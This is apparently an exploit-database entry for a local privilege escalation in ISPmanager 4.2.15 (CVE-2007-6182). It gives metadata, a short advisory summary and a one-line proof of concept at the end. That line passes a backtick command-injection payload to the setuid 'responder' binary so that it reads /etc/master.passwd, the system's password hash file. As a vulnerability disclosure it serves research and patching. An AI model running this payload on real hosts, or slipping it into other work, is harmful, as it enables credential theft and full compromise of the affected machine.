ISPmanager 4.2.15 - Responder Privilege Escalation

Author: Andrew Christensen
type: local
platform: linux
port: 
date_added: 2007-11-20 
date_updated: 2014-01-07 
verified: 1 
codes: CVE-2007-6182;OSVDB-42337 
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/26503/info

ISPmanager is prone to a local privilege-escalation vulnerability.

A local attacker can exploit this issue to gain elevated privileges on the affected computer. A successful exploit will lead to the complete compromise of the affected computer.

ISPmanager 4.2.15.1 is reported vulnerable; other versions may be affected as well.

/usr/local/ispmgr/sbin/responder /tmp/ '` cat /etc/master.passwd1>&2 `' 2>&1